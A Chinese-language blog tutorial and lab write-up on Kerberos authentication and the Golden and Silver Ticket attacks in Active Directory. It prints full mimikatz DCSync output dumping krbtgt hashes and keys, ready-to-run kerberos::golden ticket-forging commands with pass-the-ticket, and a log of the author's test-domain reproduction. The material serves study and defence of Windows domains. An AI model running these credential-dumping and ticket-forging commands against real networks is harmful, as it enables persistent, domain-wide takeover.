白银票据与黄金票据探究

0x00 前言

在域渗透时,肯定会接触到两个最常见的概念,白银票据和黄金票据,而这两个票据主要是围绕着Kerberos这个认证协议所产生的。

0x01 Kerberos认证

Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为客户机 / 服务器应用程序提供强大的认证服务。该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。在以上情况下, Kerberos 作为一种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

整个认证过程需要以下设备:

  • 客户端(Client)
  • 服务端(Server)
  • 认证端(KDC)

一张图演示下流程:

如图中显示的,步骤主要分三个来回认证步骤:

K(c,tgs):session_key(client与tgs之间的通信)

K(c,s):session_key(client与server之间的通信)

步骤一:Client –〉DC(KDC(as));客户端向认证服务器(AS)发送一个认证请求(KRB_AS_REQ)。

发送内容① :[Pre-authentication data(client is ntlm_hash for Timestamp),Client name & realm(DomainName\Username),Server Name(KDC TGS NAME)]

步骤二:DC(KDC(as)) –〉Client ;认证服务器(AS)认证通过后(对比用户名是否在本地数据库中),给客户端发送加密后的Session Key和TGT凭证(KRB_AS_REP)。Session_key = K(c,tgs)

发送内容②:[Client_ntlm_hash(K(c,tgs))],[Krbtgt_ntlm_hash(k(c,tgs),Client_name(DomainName\Username),TGT_EndTime)]

步骤三:Client –〉DC(KDC(tgs));客户端拿着自己加密的Session_key和TGT凭证向票据生成服务器(TGS)发起一个认证请求(KRB_TGS_REQ)。

发送内容③ :[Session_key(Authenticator([DomainName\Username,ServerName(DomainName\Server)]))],[TGT]

步骤四:DC(KDC(tgs)) –〉Client ;票据生成服务器(TGS)认证通过后,给客户端发送加密后的Session_key和ticket票据(KRB_TGS_REP)。Session_key = K(c,s)

发送内容④ :k(c,tgs)加密[Session_key],[Server_ntlm_hash(Tiket(K(c,s),Client_Name(domainName\Username),TGT_EndTime))]

步骤五:Client –〉Server ;客户端拿着自己加密的Session_key和ticket票据,去访问服务器(无双向认证的话,认证通过后, 即可访问,若双向认证,认证通过后继续走到步骤六)。

发送内容⑤:K(c,s)加密[Authenticator([DomainName\Username,ServerName(DomainName\Server)])],[Tiket]

步骤六:Server–〉Client ;服务器认证通过后,放行,并且给客户端发送一个加密的Authenticator,用于让客户端识别是否访问正确的服务端。

发送内容⑥:K(c,s)加密[Authenticator]

0x02 DC域控和Krbtgt_hash

kerberos认证服务器称KDC,它是由 Authentication Service 和 Ticket Granting Service 组成,但是它会访问 AD数据库,在认证中会需要到。

Krbtgt这个账号的密码,储存在域控服务上。下面我们使用Mimikatz对该账号进行密码抓取:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
  .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Oct 16 2015 01:36:00)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 17 modules * * */


mimikatz(commandline) # privilege::debug
Privilege '20' OK

mimikatz(commandline) # lsadump::dcsync /user:krbtgt
[DC] 'shiyan.com' will be the domain
[DC] 'WIN-2008-DC.shiyan.com' will be the DC server

[DC] 'krbtgt' will be the user account

Object RDN : krbtgt

** SAM ACCOUNT **

SAM Username : krbtgt
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration :
Password last change : 2019/3/10 16:32:32
Object Security ID : S-1-5-21-1519369487-284112811-2415659819-502
Object Relative ID : 502

Credentials:
Hash NTLM: f485a96fccc63f78ad5d97c1a9e7ccdc
ntlm- 0: f485a96fccc63f78ad5d97c1a9e7ccdc
lm - 0: 86092d17337fdadc0c1464e8d80d83df

Supplemental Credentials:
* Primary:Kerberos-Newer-Keys *
Default Salt : SHIYAN.COMkrbtgt
Default Iterations : 4096
Credentials
aes256_hmac (4096) : fb147173be1b6a2a8eac268939dd69c32fb171de20efcb54906a36258b636073
aes128_hmac (4096) : b59eb41b15584131568980b934145fc1
des_cbc_md5 (4096) : 5b522994989e014f

* Primary:Kerberos *
Default Salt : SHIYAN.COMkrbtgt
Credentials
des_cbc_md5 : 5b522994989e014f

* Packages *
Kerberos-Newer-Keys

* Primary:WDigest *
01 e23885a89ebfaf81a83a9958af90347c

mimikatz(commandline) # exit
Bye!

0x03 黄金票据

黄金票据主要是发生在kerberos的第三和第四步骤上。

1
2
# 第二步骤,AS发给客户端的数据。
[Client_ntlm_hash(K(c,tgs))],[Krbtgt_ntlm_hash(k(c,tgs),Client_name(DomainName\Username),TGT_EndTime)]

在第三步骤时,客户端拥有两个数据,一个是自己账号ntlm_hash加密的session_key、一个是TGT凭证,而这个TGT凭证是kertgt的ntlm_hash加密的信息。

而当我们知道kertgt的ntlm_hash时,我们是不是就可以伪造TGT凭证,发送给票据生成服务器(TGS)?

如第三步骤中需要发送的内容:

1
[Session_key(Authenticator([DomainName\Username,ServerName(DomainName\Server)]))],[TGT(Krbtgt_ntlm_hash(k(c,tgs),Client_name(DomainName\Username),TGT_EndTime))]

这样,我们就可以访问域内任意一台服务器

伪造方法:

1
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域SID> /rc4:<KRBTGT NTLM Hash> /user:<任意用户名> /ptt" exit
1
mimikatz.exe "kerberos::golden /domain:shiyan.com /sid:S-1-5-21-1519369487-284112811-2415659819 /rc4:f485a96fccc63f78ad5d97c1a9e7ccdc /user:administrator /ptt" exit

在网上还找见一个方法:

1
2
3
4
5
mimikatz# kerberos::gloden /domain:shiyan.com /sid:S-1-5-21-1519369487-284112811-2415659819 /krbtgt:f485a96fccc63f78ad5d97c1a9e7ccdc /user:Administrator /ticket:test.kribi

or

mimikatz# kerberos::gloden /domain:shiyan.com /sid:S-1-5-21-1519369487-284112811-2415659819 /aes256:fb147173be1b6a2a8eac268939dd69c32fb171de20efcb54906a36258b636073 /user:Administrator /ticket:test.kribi

然后再导入这个test.kribi文件。

1
mimikatz::ptt test.kribi

然后即可访问其它域成员默认共享目录。

0x04 白银票据

白银票据主要是发生在第五步骤上。

1
k(c,tgs)加密[Session_key],[Server_ntlm_hash(Tiket(K(c,s),Client_Name(domainName\Username),TGT_EndTime))]

在第四步骤时,票据生成服务器(TGS)给我们发了上面的数据,在第五步骤时,我们需要发送下面的数据。

1
K(c,s)加密[Authenticator([DomainName\Username,ServerName(DomainName\Server)])],[Tiket(Server_ntlm_hash(Tiket(K(c,s),Client_Name(domainName\Username),TGT_EndTime)))]

从需要发送的数据上看,只要我们有了server_ntlm_hash,我们就可以伪造Tiket的,这个也就是白银票据。

伪造方法:

1
mimikatz.exe "kerberos::golden /domain:<域名> /sid:<域 SID> /target:<目标服务器主机名> /service:<服务类型> /rc4:<NTLM Hash> /user:<用户名> /ptt" exit
1
kerberos::golden /admin:administrator@SHIYAN.COM /domain:SHIYAN.COM /sid:S-1-5-21-3794943108-2167292304-869428770-500 /target:win-2003.shiyan.com/rc4:3daa81d4a957bbd06f94f5ee1bbcff33 /service:cifs /ptt

可以伪造的服务:

服务类型 服务名
WMI HOST、RPCSS
PowerShell Remoting HOST、HTTP
WinRM HOST、HTTP
Scheduled Tasks HOST
Windows File Share (CIFS) CIFS
LDAP operations including LDAP
Mimikatz DCSync LDAP
Windows Remote Server Administration Tools RPCSS、LDAP、CIFS

0x05 白银票据与黄金票据的不同点

  1. 访问权限不同

Golden Ticket: 伪造 TGT,可以获取任何 Kerberos 服务权限
Silver Ticket: 伪造 TGS,只能访问指定的服务

  1. 加密方式不同

Golden Ticket 由 Kerberos 的 Hash 加密
Silver Ticket 由服务账号(通常为计算机账户)Hash 加密

  1. 认证流程不同

Golden Ticket 的利用过程需要访问域控,而 Silver Ticket 不需要

0x06 心酸的复现篇

域控:win2008,192.168.3.118

域成员1:win2003,192.168.3.119

域成员2:winxp,192.168.3.138

域成员3:win2012,192.168.3.129

伪域成员:win7,192.168.3.156

复现开始!

win2003 —白银票据—〉winxp ,报错_无法伪造

ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMe ssage : c000000d

win2003 —白银票据—〉win2012 ,报错_无法伪造

ERROR kuhl_m_kerberos_ptt_data ; LsaCallAuthenticationPackage KerbSubmitTicketMe ssage : c000000d

winxp —白银票据—〉win2003,成功_无法利用

Golden ticket for ‘administrator@shiyan.com‘ successfully submitted for current session

\\win2003.shiyan.com\C$

弹出登录框。。。。。

换目标。。。。

————————————–优雅的分割线————————————-

启动 win7,打开我的电脑,鼠标右键,修改计算机名称,加入域 shiyan.com ,彭!报错!

无法与域“shiyan.com”的Actice Directory域控制器(AD DC)连接。

继续各种百度配置中。。。

无法与域“shiyan.com”的Actice Directory域控制器(AD DC)连接。

好吧, 我放弃了!!!

————————————–优雅的分割线————————————-

win2012 —白银票据—〉winxp,成功_无法利用

Golden ticket for ‘administrator@shiyan.com‘ successfully submitted for current session

\\winxp.shiyan.com\C$

弹出登录框。。。。。

各种瞎几把调试本地安全策略。。。。

然后巨坑的一步来了!!!没错,巨坑的一步来了。。。

直接无障碍,域内随便访问了。。。。。

不搞了,不搞了。。。太菜了。。。

0x07 参考文章

[1]https://vonjk.red/2019/02/04/kerberos-%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE/
[2]https://sakuxa.com/2019/04/03/02-Windows%E8%AE%A4%E8%AF%81%E4%B9%8BKerberos/
[3]http://1ypt0.top/2019/04/21/%E8%AE%A4%E8%AF%81%E7%90%90%E7%A2%8E/
[4]https://www.tttang.com/archive/974/
[5]https://klionsec.github.io/2016/08/10/ntlm-kerberos/?tdsourcetag=s_pcqq_aiomsg
[6]https://blog.csdn.net/include_heqile/article/details/88663612


白银票据与黄金票据探究
https://sh1yan.top/2019/06/03/Discussion-on-Silver-Bill-and-Gold-Bill/
作者
shiyan
发布于
2019年6月3日
许可协议